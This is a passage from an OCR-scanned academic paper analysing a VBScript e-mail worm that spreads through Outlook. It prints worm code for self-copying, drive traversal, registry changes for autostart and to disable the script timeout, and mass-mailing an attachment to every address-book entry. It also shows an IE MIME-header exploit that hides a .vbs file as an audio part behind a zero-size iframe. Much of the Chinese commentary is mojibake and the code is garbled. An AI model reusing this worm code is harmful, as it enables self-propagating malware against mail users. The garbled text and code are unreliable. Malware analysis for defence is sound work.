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Abstract

The E-mail worm Virus is disseminated through QOutlook. It has a good concealment, large dissemination,

so it is very dangerous. This paper mainly analyses the mechanism and code of the copy. concealment and dissemina-
tion of the virus. Then it investigates the mechanism of the MIME head hole in IE and presents the harm of it. Also it

puts forward the development of the dangers and applications of the virus. Finally.it presents the method to defense

and solve it.
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Set So =Create Object (“Scripting . File System Object”) ’ 42

— X RGHR _ ‘
So. Get File ( W Secript. Script Full Name ) .Copy (“C: \
dateiname. Vbs™)

LA A F-HEROFE. HEEREHFFABINAS
b 5 ) 4 TR AR <P AT 4] — T R SO R T X B
BHTES . HT A BRMO RS E

Set of =Create Object (“Scripting- File System Object”)
Set de = of. Drives
For Each d In de
If d. DriveType=2 Or d. DriveType=3 Then Dsearch(d. of)
;aﬁﬂﬁﬂzﬁiﬂﬁﬁ(mive'rype=2)ﬁﬂlﬁﬁﬂ(DﬂveType=3)5!']

Next
it -Ukal=F 4
Sub Dsearch(dpath, of)
%etg}p=of. GetFolder(dpath). Sub Folders 83| 4B R HFE B

pn=gp. Count

If pn=0 then
Fsearch(dpath, of)

Else
For Each d In of. Get Folder(dpath). Sub Floders

Dsearch(d,of)

Next

End if

End Sub

bl
Sub Fsearch(fpath, of)

Set gf =of. Get Folder(fpath). Flies * {8 B 48 B R Br& MR
For Each fname In gf

I;Qof- Get Extension Name(fname)ff & B % {4} Then {

Next
End Sub
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On Error Resume Next
Dim Wsecr. rr
Set wser = Create Object(“Wscript. shell”) ’ 1|8t WSH shell ¥ #
rr = Wscr. RegRead (“HKEY_-CURRENT_USER \Software \ Mi-
crosoft\Windows ScriptingHost—\Settings\Timeout”)
If (rr>=1)then
Wscr. RegWrite “ HKEY -CURRENT-USER \Software \ Mi-
crosoft\WindowsScriptingHo—st\Settings\ Timeout”, 0,
“REG_.DWORD”
;(;J%E“ﬁﬂl"ﬂﬂﬁﬁigﬂﬂ?ii!iﬁﬂ’ﬁﬁiﬁl_l'ﬂim%l@"f’
imeout {f.
Wser. Regwr'ne"HKEY_LOCAL—MACHXNE\Software\Microsoft
\Wmdows\CurrentVersnon\R_un\I love you “,dirsystem&., “\Ilovey-

R TIe P —

Xt F VBS. HappyTime % — 558, M@ MR B
16 S T 45 55 BE B 4 help. htm %€ % Windows S2H M H & X
.
(HKEY_CURRENT_USER \ControlPannl \ desktop \ Wall-
Paper=“C:\Windows\Help. htm”)
XEEE RS ERET E 35 E (Active Desktop )il
B —S ShEp i dR .
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Set MS =Create Object (“MSMAPI. MAPI Session”)
Set MM =Create Object (“ MSMAPI MAPI Messages”)
MS. User Name=abe * £ {5 A
MS. Logon UI=True ’Tir&ﬁﬁmﬁ#ﬁ
MS. Sign On
MM. Session ID =MS. Session ID
MM. Compose H— % i .8 CHE 1)
MM. RecipAddress = guest@123. com
MM. Msg Subject=“Test”
MM. Attachment path Name =“C:\test. htm” ’JE test. htm LA B %
2. Eﬁ&‘f’ St R,
MM. Send ’ %
MS. Slganf
R#E .35 1] LA 8B —4~ Outlook X4 & .iliid MAPI ﬁl:lli%lﬂlﬂ‘?
Set oa = Wscript. CreateObject (“ Outlook. Application™)’ & # — 1~
OUTLOOK £y Bl 893 &
Set objmapi=oa. Get Name Space(“MAPI")’ BL{§ MAPI & FZH)
For i=1 to objmapi. Address Lists. Count’ 38 57}z i1t %
Set AddList=objMapi. Address Lists (i)
For j=1 To AddList. Address Entries. Count
Set Mail =0bjOA. Createltem(0)
Mail. Recipients. Add (objAddList. AddressEntries ()’ B 8 Wt {4
B4 3 1t
Mail. Subject =“test”
Mail. Body=“have a test”
Mail. Attachments. Add(“c: \test. htm”)’ LRI L X . TE W%
4, l&?ﬂﬁ#ﬁ#ﬁ
Mail. Send ’* &5 M5
Next
Next
Set objmapi=Nothing’ %28 objmapi TR , BB IE
Set oa=Nothing ' %25 oa T
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(5) B K¢ 25 8% B Content-type J& . Xt € B2 0] L 8 54 4b
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MIME-Version:1. 0
Content-Type :multipart/related ;

Type="multipart/alternative” ;

Boundary=*1""
X-Priority -3
X-MSMail-Priority : Normal
X-UnSent: 1
-1
Content-Type:multipart/alternative;

Boundary="*2"
-2
Content-Type :text/html;

Charset ="is0-8859-1"
Content-Transfer-Encoding : Quoted-printable
{HTML){HEAD)</HEAD?{BODY bgcolor = 3Dff{f{f)
(iframe Src=3Doid : THE-CID height =3D0 witch=3D0) (/iframe)
</BODY»{/HTML)
--2

Bd X Bt 25 1% 83X B —3 HTML 8E 44 . A 7 Outlook fEHi ¥

E’lﬂiﬁﬁiﬁ IE Je4b 28 5% 4 [E MR A MIME 8K $iraEss.
Content-Type: audio/X-WAV;

name=“help. vbs”
Content- Transfer- Encoding : Quoted-printable
Content-ID: <THE-CID>

(LA F & A Help. vbs f548353)
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